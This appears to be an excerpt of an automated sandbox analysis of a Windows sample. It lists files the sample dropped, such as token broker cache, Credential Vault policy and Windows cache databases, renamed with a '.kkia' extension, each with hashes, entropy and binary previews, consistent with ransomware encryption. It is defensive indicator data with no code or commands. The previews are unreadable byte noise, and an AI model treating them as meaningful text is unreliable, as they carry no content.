Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.868328934496954
Encrypted:	false
SSDEEP:	24:YrH+hUFdY0M3WVW9BKtT0amauRhJ00P3YWBp6Z6ENXx1GtQtrJkYdkbD:YiS3YxYGBM+RhO0PoWWZ6EGtQtrHsD
MD5:	FE1708DDB21C91447B4D96564F1443BA
SHA1:	88B6D803D5A19EFB51575308E903B1F757007DE0
SHA-256:	223A17FB08BD08E5AF3075F98733DFF71E5A9FD24616F007D367CCE5D7B0E226
SHA-512:	5041BA12858F77212254B5E7CB5902537473008BA490DAD673E28376A05F9108FCA1036D38C0EDB9322E599714C578366C8B4F7C0C2D346B3A365D55B45E87C7
Malicious:	false
Preview:	{"Rec@..{.....6w...NvnC.D..Dx..L)..)h.....9$...59.W2...-....y....!.......f..H..sH.i5.....f.W.oEx7.E]..<2.a....>..vVz..dp.OD........&....~w.U..p.I]...TfB....i[.....q.:....2..B....jn.'/.8U..$..H.Y\....>w.Y.-.`7..1..........q.;..>S/....C...3..."7.^..vSJ..>..42@.!.hpl2.........G.......%....X,..snN,...9...B..0...?.H.P...@...L.4!f.....q..jro".>./...\|~0...n.{.T.\.S.m]..=.9,...,....n>-........=.K...-....`....yC<.R.i.q1...G....$..7...3_..{9a...1....._.<...:...y.{o...x...b..e\|O..%.&.....h&$..5.f./87...fK..(.........yf.....K(n..&.h.Ib....z..._..6......7.`F..C......8....l....y.J.l.4......\|g...`...J-.H`e....6 ....9.n..^..2..l...:...)........=..o....J.............u1}...%Qg....j.Xu......[.'To..G...1\.!.T..-.e..-.~.!.....\|...5.....k...h>..$.5.xDJ..+;#.S.~P..!h..U......w.-.bju...\|...G..N..8...eFN.0...VG...t....r.....P...dl...<@qKpn.u..X&...Z3...N.-.Yg...@..4.I....K..!.'..AM1.P.A..)t..9d.5]......{q.~........#E.T.=..?[.=J.t..s}........(.C..{M2("..9....].

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.932469457732238
Encrypted:	false
SSDEEP:	48:a8uk80SzErX7/p0uT3fpjVVIAJj+WcIuPlD2SwbbQ362RiVltfefyD:a8c0SQSuLhIU6WLuPos362AltGfa
MD5:	B386F0683BC41D3CDD62B0F9037C2FE3
SHA1:	AD5D579239C08FA3343CD157912EA9EB5DAD5BC9
SHA-256:	50F6B73B007E31441885C6E99EF83B16076D7FB31D924A0F69E3C3D6BF247A84
SHA-512:	E7684D6AD406F94C13601C3A987F2005139D159ACB530FEA35302F16DBDB1C9BBBDADE6EF46A6CAEAAF2258B5A550F99A7DA49435D04666AF7094A690D6CE458
Malicious:	false
Preview:	{.".Tb....k..~D.8xH....b1!.'....E.[._./{.q.Y^..=.. '~g.......(...z...#.+&(.?........0..-.`....&,. ..h9..n......v...... 7..]...H.Xv/g......4N....j:..........{e".\|......iUV,.9..6Z}..I..l.....e..+..9E.&i...=.$oC..=...'g.<_.1$Sx.m../.q...T..,.d}.3/1..`.7H...K..50..q...........$...6@....5...~F..c7.rp.J..N.Z...... ..B.cU..>).....RSC...$..BB.^...54.gx2.....J...aPm..;..s.S..S.."PZE.>......2k.PzI.......]...F<......$E.1...>%j...ZK..0..0!..H.....$...........,.ui,ZW}...l..Dj..\.L ...b.T.7:_.f.'......p.......[h.o.[..B.h.(3pv....;..s...n..xA70....#.p..1.h.g.Z.f..Z..y....?.Y2`_d..j.O.<.#1....-..W.......s..... bO....> ..c..}" ...l.=....w..o=.Y.=...%..m...,.`o..aG."....j..@5A.a.....0._K....z.,XI...`:3..9.].k.]A.Pi..C3.evx..?..C.......9..D..k.._..../..K.....eo.........."}..s.3x.~..\..ZY.\|R....?&;0"...F...{..\|.}m..^./..q.Y._.H.i...>........SB..e@..b.tb'...lC.D.ORp..J..;..\|...q.K.y(.......^q1.$.....kH.Sp..........K._..:..F.?r...fT{3..e...jO....D.u"..

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.929136638366778
Encrypted:	false
SSDEEP:	48:y2h1LYpuBq9u7mZ9V1+16u3qHy04fube/kdZsnSkJOmsGTC/cbatKTg/4IjxA1SU:y41ssBF7mLV1+165UfubfZcJOHGTAD4X
MD5:	4CB932F2BBF5C8BB62707EEDC5FE3D6D
SHA1:	E7A46C62AF988E352AF32238BA83DEBFA3807CE9
SHA-256:	7DC8CB33E1753D2B0226FB793A6346BF159D4AB044FBA41C05FB497A6E995C09
SHA-512:	6C3C191A2A51FE2DED5DF615DFAE4C6E73B094A64E56D2A8C6465E7B2BD19A1222E25E79BDAD6E612C7F02D9079C73755C5FC3FBE515662F14411E43261DEF2D
Malicious:	false
Preview:	{.".T.5t...YEnS.d....i.(yg......_)&.B...Ti.g....<......d./..(7..#....\|K<5..p;.U6.ZFOFZ..i.<2....&.GY.q......t..0.EG.Hd.W..2...;bC..CV-..^..1"c.>x...I.^.N...1.#N....4M$^.:N!q...].bhH..}..8.i........p.C..[..h.=#..f...<....5....\|....... ..a?g....;..&K-....f.r........B._N]..T..."............M...vKy..;z...cM.\|.~.,.X.......wC3J..s.B...bw.z....A[.U.FV{FJ\|...Q..s.-...%.{....v.u.b.H&.k+.H.p.W.5D.J.Al.t.9i......#...~.>'....._..!..z.[QxgT~]^.\|.H.N@...@@M.....<]v..-x...+.jw.{.x.........1>`I.."..c...5..>u;....n....;.2...Q.#5_....O.:.=.....g...KZu#....a!...A.-..J.w..P.QFD.....whL..q.>:-f.(..-)..........?.)..0,....$.6.tu.L3....u....q..W.v..3@..2.i..+.....Wz8..=.....Sx.YlQ...M>....bz..e......Vn....t-...j.._....R..;=.Cf.Y!..n..y.&b..?...Tn.......N...QS....wIB.tG.6......N..I.X..'...a...li.........>..%'%n~......C.[.z.....I."H oO.Q7X-.,..d..#z.....2..=0.On..v.......S...M.....x+......X.D..~.>.4ea..S'V..).C....I.$<5.ryj...@..^W+<.OK.Y...T4......4.b..}7^iEa.V..2.6.

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.933197985151295
Encrypted:	false
SSDEEP:	48:fj/d2k1amNnQSI7uyUEqDu/KSrJshre90HCAh8bdI+w3zk/kLetGU2KtTEZ2D:rd2k1aSnQ57UEqDuygJshm0h2UDTKtGk
MD5:	D7EBDC6C196F46A3E5134B08FB69481C
SHA1:	05FCE4843DAF4A4013973E02F4FEF5B0F552D6F6
SHA-256:	0419FA28384EDFC81568FC68E7493A2B747C664D7A13446A72BB8011AFB121F6
SHA-512:	6242B699D3D99A25B175DF358AF78761C80F35B8EEBDD6F837AE54221E6CDE8BD6902DDBAF12E0400C4056DB2525E2862E5D0656AE8723085E3FC97A5E9DF833
Malicious:	false
Preview:	{.".T..J.L..\'_8..V&...P...)..Y....CNfJE...%c...Vi.Z...cv...V..........F.....2.ca.Z.i.<......e...g..^r@}.u$.......\|.[:.....@......C..[v..RS...}.......L...gh.k5m.......W..e.47n.}..jc].i.>....i.\|.-m.D..Q./#H.y.x.N...uV@..N.0%kp..ao..4.l4.W....}..K(.X.!.....B.Nd!7..TN........J.....S..<\|.=]...e...SuB.V,....(..3..7.(3U.....H........_.+.\..v.h@..y..J...].\...R._...R...h5....i...N..B.' G.xk9...S..0.........n...b....qmE[..J.X.`x...\..r\|..\|.... Fh..i......`.....6.X.:^....$G...Io.....o..Q..:.A....$...$M...-.9.....0.F\_.k...I8n..keW.K...c..b...Lm..C...j..N.Q.u....)`.j....y...S.K.v$.._.W..x.U..+.._DQ...3`..<E...s,wg..!..7.p.q....o.js.6..."..w....'..;..).4T..d+.H.^.....!n.fz.h.._....{.!..W....-....`@x..6.n..b.!.].=Uy>.e.m0...+t.}...4..p..]s8.J<..p..F.2....6.@......l.i..8...J.u.8.swA.....2...../..Zq.wM{.b.;v~Ub..)e.......U...`(#.)Sq...P+)...6. .j....$..H0....oo.....k....N%Iv..n..Q..@..5..s..=.V..9.`?....j....M...........lW.k.:@w?c...T.:$~.?.....

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.91756005671605
Encrypted:	false
SSDEEP:	48:1VLUhqsyF5H1nO6uRKUN3YNIid/SP0JDVMQfHmv/cE4/vuh7ETGG0OIi/sTIQT01:vUhqJF7nJhhSMJDVQZWHIi/sE5R8+P
MD5:	244E7C2D5CB218D6134676A8760398EA
SHA1:	9B3D2E2220FC655AED69E8A7BEAFA4D21E0244D4
SHA-256:	2F424729DEFCF85D2E94C9C348FB70F2107666F48A3F0C5C4E33BF483EE4F4D7
SHA-512:	129C276336A8A4BFA6680B1F1EB1C49DA46B91DCB0831682D873C81780FB7E29601D4FC832A02D202A4F4B10660CC9889664FF8BFE9070E3D6210D8EA0B8C29E
Malicious:	false
Preview:	{.".T"V...&..P.i.}C9p.e...}.p`.......B..t...=.e.\|.\|...P:.$(...&.y.R..t}......9UQ\]=...(E.B:.CKvt.w...n.Yj.pH&......&.....9N]a..gEl..-V-......;....Y:9..N.....#.R=.:.Ig...0.P..x.E...\..xZ.>.>.&.".Fu.....9.P/._$.S.$..".m..VmJs...Mj.$.....;..!{X.CB.B......Sy.....!~.l...aYY4.iZ...%........<.P.J..6.M....KpA............e@y..(.1U....b7MT`V.Agiw7.I.ud...hEd..w..5D.2...?.J...0.....;..4...y.{....p...u....zgPZ2...VHe..0.UB....d...EX..1.6..0...g{.Z.....J..2..... ..!..}r`.....+v..C.Y.D...&.H..E.5M.?..R.V..-.....oA........T..&$.K.. Oh6b\]IY......]...UJw.B. .........4.1JM~.b./."..lj....\|..L.t.r..X....u.2...n.&...u....S..,x.FG~m).....2..i.9.......U...b.KS.....1..Jzm+yG%.=#...i{....Zz......jr.K...^..P:........=".)n.h..=B..Np.jy..G..g`)La.mn.....k..k$...)....e.o+....{a....,...^.pZ.P>.HTOv.`...p=O.F.5..)6.T...9...t.x..,..o.2..A....Ta.V..._..ki.~.....F.3.L.P.C..eJ...PT.....u..&.b....hH..f+.85....c.T.n..$+..`\|.M\..x+.......8:....2.......,HO..k$..

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.95789475368703
Encrypted:	false
SSDEEP:	96:m7cYp+IzfTDDWeBjtwSF0feaVqOcSksgWYw/XTPEafdJVpt5ioP15Al:RYk2zjtJFNa0H2YQTPEk5357dk
MD5:	4B6A80B6356FA3842E3C42AB521E8772
SHA1:	32F9A6836151650D306C84C48DF5672ED33D5096
SHA-256:	B34D86ED0320A0FBC838F7D0E6D6F13EF590367468F1B3BE995A67BE7A52F203
SHA-512:	37D755CA5A488CB4A4E8A48F92CE0301ABA7F27863824BB926718215B0CFE9D000A25E6C87526E00F342A30D3AB12688E6ACD278A473A3D003F00A86A8F8077C
Malicious:	false
Preview:	{.".T.?M.............&..c.E..Se._..^~..d.<'.]..FEE.....!K..c..I...)=.........V......H...B Y.=/..-..:.\..g.....]E.._...;....2..w.?$.pDb...~....H.48.QP.h....rR.n@f...e....z.EwV]T.;=U..6).{fs....F..j....M4WBt.e....wxE...E....g...k.J0...pA#N.L........T..."....+upF....0..`....PR.w..W!9P ......K;.:pc=}...I`....o..3...<...........O...4hat .......n.....9.8.;...Y..m.....9B..e[.O.o....+i.".GW...r...VN1..\|#".KYC........nv..K... ..+..{..E.Z......%.ps..}.%d...^..kmR.Ew...l..B..i...q.h.B.g.0....y .X1+ .`#6.[.a{.[...).7.~...H.=.;!.v<.E.P....?.c.j..t..czk.........3...7W.&.&..:e...g...h..#..i.%.`k..\|.w[ .r-p.v.\.#&SN..TL\.............g..%UM\|....q.P....p. .j;...?D.i{~.\|5y.....".&.?JH'..b.%..l.F..I.<s.....5(..m.mYo+...b..4L.@. ....~0....Vt.'.Z{.z......B.....I.7.....:.+NZ.t..].5&.8....Coj..._.._+...........0.K'9..o..<...w..>B.Af.w*brB.P.W.......RG..(.el..A}r>.Tt..6....V.<........{....k..I=...9.`...wv...a.....<>. .x.F...0.d.^VR....V...jG.D..wW...W.3.0.x.2^+.sO

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.935295605513314
Encrypted:	false
SSDEEP:	48:bBl9e70Wr4Ncr3Gu8Wgxbc/NvHjk1sG/xZP5MYXF1frKUe9GVAhd3gOpuN9toKD:Vl9e70Wr4Ncr2u8Wglc/xDoJDf11vDga
MD5:	C9FFBAB61550F5D5D2023B4945D391CE
SHA1:	D3B8823676B410A752CB23C7E9FF867AD23A9714
SHA-256:	57D7E9F0C453B5C08686D508C47D89F86C1820BE4722F933230A54CC7A1B15E7
SHA-512:	9646A6AE3B7DFB52A42AB98C9FB5BC00E3C3BCD7B08B4F31DADC58DF2AA32692ABD6031F4CBB25CA9558CCAF874089A6F6BC309A1539714ADAF3EFA101B62818
Malicious:	false
Preview:	{.".T..0...........[2d.\|-F..;.Y.S.7.3,...>Y ....\|A...,.o..j..........s..pC.%UdX..+.@mz#L.I.3k.f..P...6...n..pu...@t..e.h..?..\|..f....W;P^.t..T.es\|.4.f.s.Bn.....kd....n4.0.s......~...FT\|rX........fRu.......({.....=!.]F.t..s-".......a,N...$J..+...3.P....1._..~.F..h..$.#./..1..ZhO.z..{....E.....)W.........Pj..n.P4...g......n@.......^.2E._...$..?E.....S..>.6.eQ.f...t...I..w.7...JM..4?wB"cvE...V..3../,.IQ.h..G....Ph........G...6].....L...n..lkr...H...2`Jb...M.F......I..Nm....}.{.N..L~...s......(....}.$ P.0.r......<...J....^..v..%g.Ob_.C..K..b.......U..._...).p.Q.X.L.....~..]P\.&>ro.."..0.........,..($.F..]._.../.....s5..&.g.bB.....h.. ..&8.......9D.....NBT]..+^..rkw..DM..K.D....#+..' ..98.U.............L!,....p...o....w.'..(.0..C.e.#n.2.'b.Sck+......0....88+dks\..i...~.. Vn...@.... ^...#.f.v8._D ..M.vH.X..l.r-.<..6..=A.w?.]..2.k....q.~Y...~.x?C+...!.o8....=.B...^.......2.j;.)m.Uu.....(.a......*+D....%.^.......e.H..T...o.......{..A...4...0.N.'.

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.925544143898626
Encrypted:	false
SSDEEP:	48:VonqFHvd5wPQ6RQsfx2ARaOT8clI1S02QkQlngpbTBEWqAVywyD:VVLwPEARjHlAFxBgpbTp38wa
MD5:	2EB7411ED4C8D6F45E83F32780620E41
SHA1:	57F880CB3F2716320FC6CF540654DE964D6FC3D2
SHA-256:	D6CCE22F97CC7FE08796E6DEABD58F8433B15C292DC05B35C09278A47DD1ADB2
SHA-512:	B4D4BA002DD47E8CB1AE868C74A6379803A9EBD44E22104558BEECEFA5FE77101E906C45412D0FCCC2C0A24BF48A33CF0D29B507007B9C29E07E6C6CE1C4D6C6
Malicious:	false
Preview:	{.".T.q.9D,`.Y`.==T..S...w.........F....t..NB...swo...O...........:!O'...;i".....j..J7....s...n.}.l......"A.O.2...A.?.....u...L..%`....M..\.o..g..M...\|.....g...P..f..H~.j.X.s.LX...e....V.9..9"..sf..o.+....1..{..n....K.>8..J...1,..C..{..1..S...L..W.P.....:6.y.G.y..5FD.N.....#[...0D{.B..Q.@......9i....,{.."[.......`.j..(K]<..,>..a...KV.I.!/.I..n=..T...^1J....R0../.)...,OQ...%P....,..3..s..m..ca.&o=.(...P....[z!',!...$..'.].p...a.^o..~+.0v....<...(o..G.E.8..{l..h.\.......b...&...O.[K...."Z.?j.A.v.....q>..k...s.......c..9.0.x.R\|N..=8...E6.`..-x.<[.\|..5..in..wj.e..5..>q....L&....;..}.\WD.y9xT...:!...B.l..R.H.......`..-~f....vM..C2.r%.&.3j..3.4.D.<....zU...j6....lW....BM).4...=..C..{{.d..Q...&..(..R......j...._.2....`.$.q...O^....G...W.J.....C.(....._...lPG.Y....2.<r..UC...T...YZ,v.\|.iE.R.GZU{.: ..y..MD....'.>....S,.%.sK.>.......$.K..X...Qq..(S..M.&..8.(j...t.....8.'"!..g....U..U.#6.w...Z..V&..rRWC.<...>.W;N.o.`...I....,..3...<.}...M.U].

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.718480902252297
Encrypted:	false
SSDEEP:	12:nbUzE48vNcICSRsBlhd8eDSn0bP/XXm7qwQNqm2M/GH1DOgm7xZ2HWzIY2xruPrS:noh8KIWNd8SSnqPfYhQcFs//SZRdIkbD
MD5:	7A580FE9FAB875E757291845638D20BE
SHA1:	D414E72A6C5793FEC376C77BE391C7177083FBED
SHA-256:	DCEA607B03317849054B834BA7B01E06A9BB3194591E061A63AC0C969AEDB804
SHA-512:	42D604170C7AC3B925533F0A3D46B072049FB36C87AC1AB41FC85CED14DA21A49FAD4EF268DBEBCBBC7CB299921C26EA4DD53163CC0069715DD95450F8836EE7
Malicious:	false
Preview:	....B.]P.-.'..M......3......N.Z.....)`v?\|.....<....M.Hr.k.[m...ujiIo..^U..s.7.9.. .........=.S.=......T+o..m..D8...d..L-....J..K.:.@.i..`.#a;..8M...n.n.O......}.,....8..."..8.....-.P}Y.uQ#.q..`.$z.g.jiy.W:........,e..o.5.!...O.....4.$;.V....Q..V.q........_.G..0\|F.q.b.mc2........:Y......3....A..:y...p..I.&4......9:#..'...lUv...5w4fp^..8...fmhe..UP...U.........h.$.G.....P~..A.Y.='...FWw".r..=....0..l.y"1-.s. .&k.&~...).,....e.n....k#.4.$R.qi.u.%...-..\|..t.G\|HM:"P....g&....;.....l.8...%.....o....K......>^8....\|...Q,p..3U../a.h...U....i.t....>`........7@.s.. ...&x..l...MYa.?26.G.k.M.O...H....}.W..x..m..fr9(....EN...o.L.?S.P6j%.M.6......'j.X...t...pt.fn.7I.$s.].dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\2057\StructuredQuerySchema.bin.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.331616132857304
Encrypted:	false
SSDEEP:	6144:9SNwqIpcFp/ghmQkrxlFUFbUzV0Km+vyJfbnQkK96B88yKv4bWTmTvEiLSh:uwqKcYI9lgQCKm+6dF4/+
MD5:	4EAF039801E3CE71A468519151BF0F02
SHA1:	42CBFCC843A28B30E78FB2716F2257A37C76BABB
SHA-256:	BF1FEF6B2B2378EEE0E9CAE773B8677609C818F706448D8AC123507E50824271
SHA-512:	C58214FEFE1AE5AD81A500A00AE9AE3117A7229EAF976715698F93BBB0A6F0BA08DB2EC6967BDBA538B6BB6E4F636B8A9586CFBA40FD3F520E25F1158034048C
Malicious:	false
Preview:	...P.6DV...c..".................1.....2.2."q.T.,.3..h./e..+..Y..F..d...............\..._.P....%...1..M....iv..Au.u....+s_...@M-....%.k..?-......n..B.wH....T......^.....4..2=.0.N..%.&g}... ....f.&.. ..}..:.j.Y....).^.S.\|...5_.F.{^2mf.....Mv....nN...x.wY.....".E.bY...L......9.Nw..!.O2~.pQ=...q..MR.C..PJ..6..V...........S..[..!H..A.G....w.".1Q....-.Te"...jKR.c.d:/..\..w"4....l.t.x._.o6L\|.C..1..b..sV...\|?..G..........r..1......7........v..!0......E..H...}....s."[...(..."!........(h..p../...ub...G...,..Dt+M..x_..y...5U....,...uMB....U.{.N.A..43D......Z.[.........M6.....K..L=....."...M...{../..A4...G..O.5...c.Z.%...&...9.......rtNo..J.w..n.n....d...c.......2...H.Z..Qb?..".Y.E.eH...}.......X..\...e0...tw.U...{,..$5..h.....d.U....._f.%....5h..".cl.....R.s..o.fr.Y..d.a.$H...E...%.:.......6.q....^.S...>.0....;k..FRGN..Sk.......Lc/h!...6.r....\|..l....o.!...OE..Wj ..D..>@../.&<H.4..(...dI...Feg.^.>#.0._ob..>..;.$B.E............a.....O/

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988055506756127
Encrypted:	false
SSDEEP:	384:Ngle1KUdZb9aJnyX2RJ+IM+5cPZY+DCJFDs7kn:6le1K4B4+wYmvs7kn
MD5:	7EE0EAB85474CFDA48303BECCA7EF4D7
SHA1:	22A20122F5521279FC350DCEC911F7B3FA30E2C7
SHA-256:	60401FD7C0308298BA54F463B11CC573ACF99BF4B2A0B117FC0D098F6D544DB4
SHA-512:	CBD8F05EE15799EB64F41302933060C177BC6BCE52D2BDCF2A6488999C983015E7A4AC24A80898AD8C273D1AF07EAEBE187F6487D6DFF9E2E5DAC48DC2ABB152
Malicious:	false
Preview:	.... ..e...B...7.{D...!.;...s.p.....;..q...wT..."'.zPG>....=.w.w.>U...q.<.v.w....us.mKP.p..A..\|~.V.I.@..FU..8..t....q..)...f..L}.....:...6......V.^X.E....;...p........,..+.8.afgG.YS.ub_......h2U.i{ ..#=.OZ7.Y)...t.X".....%...... .../7:.].....-gO.{...\|,\...y;y......!dj)......L.b.GN1x...@Da4...........G.}.........QruU...O...z.....J,v.nb.....q...C[..x{B...o{s,.wNb..._Q:/.\.nE.}.)jj.oE...........x....D..k+..Z......R1o"..z....../\.....,..............0.cJg.".ja.y..VI.i(...~.....:.t..+..c.D.q.O.!M.D.l}....G.t...j..f.@..H.&r.K.aPaH.Z.`.+y....Ou.p@.k...r;u.eR.Y.5.g6.\|..I).e0.~.I.pE.].I"..D...V..\|.p.}..;..yF^.>....&#bL...............5.......6,8..b.K..p9...I....D....".zK.L......Y.............F.C..H..A........3\|}.P.I.s..-.d...nF`.O....T........y.LJa5...3...X."..}....cOa....\|.C.G....&..W.K9.o.o....`..,.k.....h.z..,.L'2a..`.l.L....n..b..&y..>....)]w....xX.pT.3.(4Z.....I56...E[L.1.O<.........7$.Z..L..c.Pa.:S,{.....S./3.6JG...r.....o...F*....Sb.C.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987703085317622
Encrypted:	false
SSDEEP:	384:8ybLdvdxKlJNjAPxTNKEfiny2RfSBKEIRAmlf7YNOig:8ybZqXj2/7q9gBKEIRAxTg
MD5:	A52C836B606A94FFD1542B9CD3FE1FDB
SHA1:	74288B4265A91E007D91FDA57F5096F676E790BB
SHA-256:	22B20D955F68BA559AE81EACA79A5F01FF62E7A3EED6A949398027F463F90D81
SHA-512:	19B5D03ABFD0707625B79C58F5D32FE4C48B63652C307758A6659490384B4BFD9F06A215C47FEFF0D32AB9EADE8CBDE1444671EC064D3C4E29C6F8E82251DC10
Malicious:	false
Preview:	....`M...R.....O....cr."L..,...........g..Vk.....70.......;..k.-8...##G.&.u.:...... l.......m;..V..7<c9......?.l..%7....U.N8.E..c.....Ev...."+.s......E..!<)......]A.\.n.$\....U..-xo.\.B%..w0F.B....)oP.}.+..&...V/.`S..."7...X....\.}9.....I_]@QV_..q_..Q^n.g..9`..U#F{.xBW>.Hy.S<.sR..6.Q.DF.w.O...N.o..8.]...+DP.....Z..h.[...nk?f9.=..b...f.n....e.k...CPk....,.3.H..8......]exT\|5Z...Z....dJ.T.>.@....9..^....S.....?;Kh+.........h..qr..K..j....S`.{...l:S...Hz..).>.]o\|.s\.. >..G.x).....!I.X....d...@LXp..T.z?...............b.>..8.._+'...m.....I'.~}49yFWe....m'ZB....H.]..&d....tG...Q"}..Z..9..B.>lQ.D...a.F.6.jj..........<.WY7....;..@.%k.........V...+...v/.:.X.....}..P...._..}...x1...;.H...?..n.f44..[.3..=n,...E..E..=]v\|j.....#.H_7[.X..M...g.u%.-....../.QMi4.v..;....R.1\|.uJ.B....}+..O.=..._..^..?o0..G.....]...d.I...X.l....<O.R...U.PPQt.5....F.+....*=d....i.h.(.kq.6.@..f......?LU..z..s.b8.x.....Io....p}#.......&...b.z....O"...kC6B4Q....RuY7..\|

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{10C46A9D-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.331867849951765
Encrypted:	false
SSDEEP:	6144:8rTyJV0fVPIP/BWAbjGgFeLufwQMmm+vyJfbnQkK96B88yKv4bWTmTvEiLSy:8rTiVHPkAbk6fRMmm+6dF4/J
MD5:	43F2F1D13C0B0252D295E6FF60002232
SHA1:	AC998E91330A5BE52E69F4D0614E807E350D087C
SHA-256:	684EB6D376270FBA8D4B007544E815F2CAEBA4AE2DF2BE30E833BDF288F82AAD
SHA-512:	C57610AC2B7E589111E04013FF606AE7C2B37910991C5B5A955AFE89B537509EDC7F9E37673E36D29AF5B8CF3D8C34260939819CF73E4928126B1CD06D717B23
Malicious:	false
Preview:	.w.. ...I...o.......v.DV.....9.(...E.k...\..i.(..."$.....,....I.G.J...SA^..3CP.W...'......<.+.\|ME..;J.X.h...x.~..e...o>..z....o@J.cR.`...}..W....x..[<.QI...:s.?...g.M......w.(O...L..H\|..B.h...5.X..5....+..v....H. .z..zs..........e\...5...B...pZR)_.}.`V.D/..,..!.r.\|.o./.c.8......:.....9.%;Z....v.[a....f.G...(...S....G.a.......4..o.....~41.UE.U...X?...S....#.5@..o.GP:.(..........n.~zF\.....y".C.l.....}.......\|..I....3.. .wo).s..c.>....)..Tp.....N......"........\.6.......%To..r.x........].p<..R.A..+.5.......b..6.k.z.L...1.uF..}.hdh..;.`.5..7.z..N.....#.....#G..I..\|G.+.ne.k...r ...6.F.2.N...)Bjj.!..8.....Sat.k.Jx....P.'...T..hT...E.q....w.gPl...fP`..z.....0....w......4......j-.....o.L..Od..3L.,r ._;.g. ..6......W<. ..~K6.j.=.G..'......B`....jU.\|V&K,.V> _..hh#p.e....Ue0C.."].....02s..Z..........r.Aw...-q\...R....v'........i#...L.......#.Y.o.b~....z...:..Q.OFJ..B..A.....g...g.....s<,y.....X...x.z.d.nz.RRO.(..l..>%.v.T...?..Ie..2..H.:.57';C

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	102734
Entropy (8bit):	7.998252443688736
Encrypted:	true
SSDEEP:	3072:dB5DRMPKxxMd2Oc+DIrF1zs72IUPFUgD7hRex:7gKxCdzQFBRIU33hAx
MD5:	95F6E09531E4CFBE17D85370397228C9
SHA1:	E3C78F497CC7CDE0CF50A249D67D4D6698FC379B
SHA-256:	73BDC1B390961AE5434666C319C2D758DA39DF99144580B8E721C8C7AE21788F
SHA-512:	85ADF07DAFA73B81E108DCF6CCA0765BB395D42C5DA7E230B17FD648995E5BD18F54DEAFC904D9FB76579FD1CDFCF1BE4DEC564677AF40C4E9B8B207D4CFA883
Malicious:	true
